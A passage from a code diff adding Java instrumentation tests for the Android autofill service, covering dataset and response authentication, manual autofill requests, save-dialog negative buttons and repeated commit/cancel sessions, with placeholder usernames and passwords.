+        sUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(username);
+        final UiObject2 picker = sUiBot.assertDatasets("Dataset");
+        sUiBot.selectDataset(picker, "Dataset");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("numbers");
+        assertThat(extraValue).isEqualTo("4815162342");
+    }
+
+    @Test
+    public void testFillResponseAuthJustOneField() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final Bundle clientState = new Bundle();
+        clientState.putString("numbers", "4815162342");
+        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME)
+                .setIgnoreFields(ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(clientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth response");
+
+        // Make sure UI is not show on 2nd field
+        mActivity.onPassword(View::requestFocus);
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+        // Now tap on 1st field to show it again...
+        mActivity.onUsername(View::requestFocus);
+        callback.assertUiShownEvent(username);
+
+        // ...and select it this time
+        sUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        final UiObject2 picker = sUiBot.assertDatasets("Dataset");
+
+        callback.assertUiShownEvent(username);
+        sUiBot.selectDataset(picker, "Dataset");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("numbers");
+        assertThat(extraValue).isEqualTo("4815162342");
+    }
+
+    @Test
+    public void testFillResponseAuthServiceHasNoData() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+
+        // Select the authentication dialog.
+        sUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+    }
+
+    @Test
+    public void testDatasetAuthTwoFields() throws Exception {
+        datasetAuthTwoFields(false);
+    }
+
+    @Test
+    public void testDatasetAuthTwoFieldsUserCancelsFirstAttempt() throws Exception {
+        datasetAuthTwoFields(true);
+    }
+
+    private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
+        // TODO: current API requires these fields...
+        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+        final String bogusValue = "Y U REQUIRE IT?";
+
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(bogusPresentation)
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, bogusValue)
+                        .setField(ID_PASSWORD, bogusValue)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        // Make sure UI is show on 2nd field as well
+        final View password = mActivity.getPassword();
+        mActivity.onPassword(View::requestFocus);
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        // Now tap on 1st field to show it again...
+        mActivity.onUsername(View::requestFocus);
+        callback.assertUiHiddenEvent(password);
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        if (cancelFirstAttempt) {
+            // Trigger the auth dialog, but emulate cancel.
+            AuthenticationActivity.setResultCode(RESULT_CANCELED);
+            sUiBot.selectDataset("Tap to auth dataset");
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(username);
+            sUiBot.assertDatasets("Tap to auth dataset");
+
+            // Make sure it's still shown on other fields...
+            mActivity.onPassword(View::requestFocus);
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(password);
+            sUiBot.assertDatasets("Tap to auth dataset");
+
+            // Tap on 1st field to show it again...
+            mActivity.onUsername(View::requestFocus);
+            callback.assertUiHiddenEvent(password);
+            callback.assertUiShownEvent(username);
+        }
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        sUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testDatasetAuthTwoFieldsReplaceResponse() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .build());
+
+        // Set up the authentication response client state
+        final Bundle authentionClientState = new Bundle();
+        authentionClientState.putCharSequence("clientStateKey1", "clientStateValue1");
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (AutofillValue) null)
+                        .setField(ID_PASSWORD, (AutofillValue) null)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .setExtras(authentionClientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        sUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+
+        // Select a dataset from the new response
+        callback.assertUiShownEvent(username);
+        sUiBot.selectDataset("Dataset");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("clientStateKey1");
+        assertThat(extraValue).isEqualTo("clientStateValue1");
+    }
+
+    @Test
+    public void testDatasetAuthTwoFieldsNoValues() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intent
+        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Dataset"))
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (String) null)
+                        .setField(ID_PASSWORD, (String) null)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        sUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testDatasetAuthTwoDatasets() throws Exception {
+        // TODO: current API requires these fields...
+        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+        final String bogusValue = "Y U REQUIRE IT?";
+
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(bogusPresentation)
+                .build();
+        final IntentSender authentication1 = AuthenticationActivity.createSender(getContext(), 1,
+                unlockedDataset);
+        final IntentSender authentication2 = AuthenticationActivity.createSender(getContext(), 2,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, bogusValue)
+                        .setField(ID_PASSWORD, bogusValue)
+                        .setPresentation(createPresentation("Tap to auth dataset 1"))
+                        .setAuthentication(authentication1)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, bogusValue)
+                        .setField(ID_PASSWORD, bogusValue)
+                        .setPresentation(createPresentation("Tap to auth dataset 2"))
+                        .setAuthentication(authentication2)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset 1", "Tap to auth dataset 2");
+
+        sUiBot.selectDataset("Tap to auth dataset 1");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testDatasetAuthMixedSelectAuth() throws Exception {
+        datasetAuthMixedTest(true);
+    }
+
+    @Test
+    public void testDatasetAuthMixedSelectNonAuth() throws Exception {
+        datasetAuthMixedTest(false);
+    }
+
+    private void datasetAuthMixedTest(boolean selectAuth) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Dataset"))
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("What, me auth?"))
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        if (selectAuth) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("DUDE", "SWEET");
+        }
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
+        sUiBot.selectDataset(chosenOne);
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testDisableSelf() throws Exception {
+        enableService();
+
+        // Can disable while connected.
+        mActivity.runOnUiThread(() -> getContext().getSystemService(
+                AutofillManager.class).disableAutofillServices());
+
+        // Ensure disabled.
+        assertServiceDisabled();
+    }
+
+    @Test
+    public void testRejectStyleNegativeSaveButton() throws Exception {
+        enableService();
+
+        // Set service behavior.
+
+        final String intentAction = "android.autofillservice.cts.CUSTOM_ACTION";
+
+        // Configure the save UI.
+        final IntentSender listener = PendingIntent.getBroadcast(
+                getContext(), 0, new Intent(intentAction), 0).getIntentSender();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setNegativeAction(SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT, listener)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("foo"));
+        mActivity.onPassword((v) -> v.setText("foo"));
+        mActivity.tapLogin();
+
+        // Start watching for the negative intent
+        final CountDownLatch latch = new CountDownLatch(1);
+        final IntentFilter intentFilter = new IntentFilter(intentAction);
+        getContext().registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                getContext().unregisterReceiver(this);
+                latch.countDown();
+            }
+        }, intentFilter);
+
+        // Trigger the negative button.
+        sUiBot.saveForAutofill(SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT,
+                false, SAVE_DATA_TYPE_PASSWORD);
+
+        // Wait for the custom action.
+        assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
+
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testCancelStyleNegativeSaveButton() throws Exception {
+        enableService();
+
+        // Set service behavior.
+
+        final String intentAction = "android.autofillservice.cts.CUSTOM_ACTION";
+
+        // Configure the save UI.
+        final IntentSender listener = PendingIntent.getBroadcast(
+                getContext(), 0, new Intent(intentAction), 0).getIntentSender();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setNegativeAction(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, listener)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("foo"));
+        mActivity.onPassword((v) -> v.setText("foo"));
+        mActivity.tapLogin();
+
+        // Start watching for the negative intent
+        final CountDownLatch latch = new CountDownLatch(1);
+        final IntentFilter intentFilter = new IntentFilter(intentAction);
+        getContext().registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                getContext().unregisterReceiver(this);
+                latch.countDown();
+            }
+        }, intentFilter);
+
+        // Trigger the negative button.
+        sUiBot.saveForAutofill(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                false, SAVE_DATA_TYPE_PASSWORD);
+
+        // Wait for the custom action.
+        assertThat(latch.await(500, TimeUnit.SECONDS)).isTrue();
+
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testGetTextInputType() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Assert input text on fill request:
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        final ViewNode label = findNodeByResourceId(fillRequest.structure, ID_PASSWORD_LABEL);
+        assertThat(label.getInputType()).isEqualTo(TYPE_NULL);
+        final ViewNode password = findNodeByResourceId(fillRequest.structure, ID_PASSWORD);
+        assertWithMessage("No TYPE_TEXT_VARIATION_PASSWORD on %s", password.getInputType())
+                .that(password.getInputType() & TYPE_TEXT_VARIATION_PASSWORD)
+                .isEqualTo(TYPE_TEXT_VARIATION_PASSWORD);
+    }
+
+    @Test
+    public void testNoContainers() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        sUiBot.assertNoDatasets();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert it only has 1 root view with 10 "leaf" nodes:
+        // 1.text view for app title
+        // 2.username text label
+        // 3.username text field
+        // 4.password text label
+        // 5.password text field
+        // 6.output text field
+        // 7.clear button
+        // 8.save button
+        // 9.login button
+        // 10.cancel button
+        //
+        // But it also has an intermediate container (for username) that should be included because
+        // it has a resource id.
+
+        assertNumberOfChildren(fillRequest.structure, 12);
+
+        // Make sure container with a resource id was included:
+        final ViewNode usernameContainer = findNodeByResourceId(fillRequest.structure,
+                ID_USERNAME_CONTAINER);
+        assertThat(usernameContainer).isNotNull();
+        assertThat(usernameContainer.getChildCount()).isEqualTo(2);
+    }
+
+    @Test
+    public void testAutofillManuallyOneDataset() throws Exception {
+        // Set service.
+        enableService();
+
+        // And activity.
+        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Explicitly uses the contextual menu to test that functionality.
+        sUiBot.getAutofillMenuOption(ID_USERNAME).click();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertThat(fillRequest.flags).isEqualTo(FLAG_MANUAL_REQUEST);
+
+        // Should have been automatically filled.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
+        autofillManuallyTwoDatasets(true);
+    }
+
+    @Test
+    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
+        autofillManuallyTwoDatasets(false);
+    }
+
+    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "jenny")
+                        .setField(ID_PASSWORD, "8675309")
+                        .setPresentation(createPresentation("Jenny"))
+                        .build())
+                .build());
+        if (pickFirst) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("jenny", "8675309");
+
+        }
+
+        // Force a manual autofill request.
+        mActivity.forceAutofillOnUsername();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertThat(fillRequest.flags).isEqualTo(FLAG_MANUAL_REQUEST);
+
+        // Auto-fill it.
+        final UiObject2 picker = sUiBot.assertDatasets("The Dude", "Jenny");
+        sUiBot.selectDataset(picker, pickFirst ? "The Dude" : "Jenny");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillManuallyPartialField() throws Exception {
+        // Set service.
+        enableService();
+
+        // And activity.
+        mActivity.onUsername((v) -> v.setText("dud"));
+        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Force a manual autofill request.
+        mActivity.forceAutofillOnUsername();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertThat(fillRequest.flags).isEqualTo(FLAG_MANUAL_REQUEST);
+        // Username value should be available because it triggered the manual request...
+        assertValue(fillRequest.structure, ID_USERNAME, "dud");
+        // ... but password didn't
+        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+
+        // Selects the dataset.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillManuallyAgainAfterAutomaticallyAutofilledBefore() throws Exception {
+        // Set service.
+        enableService();
+
+        /*
+         * 1st fill (automatic).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Assert request.
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        assertTextIsSanitized(fillRequest1.structure, ID_USERNAME);
+        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
+
+        // Select it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        /*
+         * 2nd fill (manual).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation(createPresentation("THE DUDE"))
+                .build());
+        mActivity.expectAutoFill("DUDE", "SWEET");
+        // Change password to make sure it's not sent to the service.
+        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+
+        // Trigger auto-fill.
+        mActivity.forceAutofillOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(FLAG_MANUAL_REQUEST);
+        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
+        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
+
+        // Select it.
+        sUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillManuallyAgainAfterManuallyAutofilledBefore() throws Exception {
+        // Set service.
+        enableService();
+
+        /*
+         * 1st fill (manual).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.forceAutofillOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(FLAG_MANUAL_REQUEST);
+        assertValue(fillRequest1.structure, ID_USERNAME, "");
+        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
+
+        // Select it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        /*
+         * 2nd fill (manual).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation(createPresentation("THE DUDE"))
+                .build());
+        mActivity.expectAutoFill("DUDE", "SWEET");
+        // Change password to make sure it's not sent to the service.
+        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+
+        // Trigger auto-fill.
+        mActivity.forceAutofillOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(FLAG_MANUAL_REQUEST);
+        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
+        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
+
+        // Select it.
+        sUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testCommitMultipleTimes() throws Throwable {
+        // Set service.
+        enableService();
+
+        final CannedFillResponse response = new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build();
+
+        for (int i = 1; i <= 3; i++) {
+            final String username = "user-" + i;
+            final String password = "pass-" + i;
+            try {
+                // Set expectations.
+                sReplier.addResponse(response);
+
+                // Trigger auto-fill.
+                mActivity.onUsername(View::requestFocus);
+
+                // Sanity check.
+                sUiBot.assertNoDatasets();
+
+                // Wait for onFill() before proceeding, otherwise the fields might be changed before
+                // the session started
+                waitUntilConnected();
+                sReplier.getNextFillRequest();
+
+                // Set credentials...
+                mActivity.onUsername((v) -> v.setText(username));
+                mActivity.onPassword((v) -> v.setText(password));
+
+                // Change focus to prepare for next step - must do it before session is gone
+                mActivity.onPassword(View::requestFocus);
+
+                // ...and save them
+                mActivity.tapSave();
+
+                // Assert the snack bar is shown and tap "Save".
+                sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+                // Assert value of expected fields - should not be sanitized.
+                final ViewNode usernameNode = findNodeByResourceId(saveRequest.structure,
+                        ID_USERNAME);
+                assertTextAndValue(usernameNode, username);
+                final ViewNode passwordNode = findNodeByResourceId(saveRequest.structure,
+                        ID_PASSWORD);
+                assertTextAndValue(passwordNode, password);
+
+                waitUntilDisconnected();
+                assertNoDanglingSessions();
+
+            } catch (RetryableException e) {
+                throw e;
+            } catch (Throwable t) {
+                throw new Throwable("Error on step " + i, t);
+            }
+        }
+    }
+
+    @Test
+    public void testCancelMultipleTimes() throws Throwable {
+        // Set service.
+        enableService();
+
+        for (int i = 1; i <= 3; i++) {
+            final String username = "user-" + i;
+            final String password = "pass-" + i;
+            sReplier.addResponse(new CannedDataset.Builder()
+                    .setField(ID_USERNAME, username)
+                    .setField(ID_PASSWORD, password)
+                    .setPresentation(createPresentation("The Dude"))
+                    .build());
+            mActivity.expectAutoFill(username, password);
+            try {
+                // Trigger auto-fill.
+                mActivity.onUsername(View::requestFocus);
+
+                waitUntilConnected();
+                sReplier.getNextFillRequest();
+
+                // Auto-fill it.
+                sUiBot.selectDataset("The Dude");
+
+                // Check the results.
+                mActivity.assertAutoFilled();
+
+                // Change focus to prepare for next step - must do it before session is gone
+                mActivity.onPassword(View::requestFocus);
+
+                // Rinse and repeat...
+                mActivity.tapClear();
+
+                waitUntilDisconnected();
+                assertNoDanglingSessions();
+            } catch (RetryableException e) {
+                throw e;
+            } catch (Throwable t) {
+                throw new Throwable("Error on step " + i, t);
+            }
+        }
+    }
+
+    @Test
+    public void testClickCustomButton() throws Exception {
+        // Set service.
+        enableService();
+
+        Intent intent = new Intent(getContext(), EmptyActivity.class);
+        IntentSender sender = PendingIntent.getActivity(getContext(), 0, intent,
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_CANCEL_CURRENT)
+                .getIntentSender();
+
+        RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+                R.layout.list_item);
+        presentation.setTextViewText(R.id.text1, "Poke");
+        Intent firstIntent = new Intent(getContext(), DummyActivity.class);
+        presentation.setOnClickPendingIntent(R.id.text1, PendingIntent.getActivity(
+                getContext(), 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
+                        | PendingIntent.FLAG_CANCEL_CURRENT));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(sender, ID_USERNAME)
+                .setPresentation(presentation)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Click on the custom button
+        sUiBot.selectByText("Poke");
+
+        // Make sure the click worked
+        sUiBot.selectByText("foo");
+
+        // Go back to the filled app.
+        sUiBot.pressBack();
+
+        // The session should be gone
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void checkFillSelectionAfterSelectingDatasetAuthentication() throws Exception {
+        enableService();
+
+        // Set up FillResponse with dataset authentication
+        Bundle clientState = new Bundle();
+        clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+        // Prepare the authenticated response
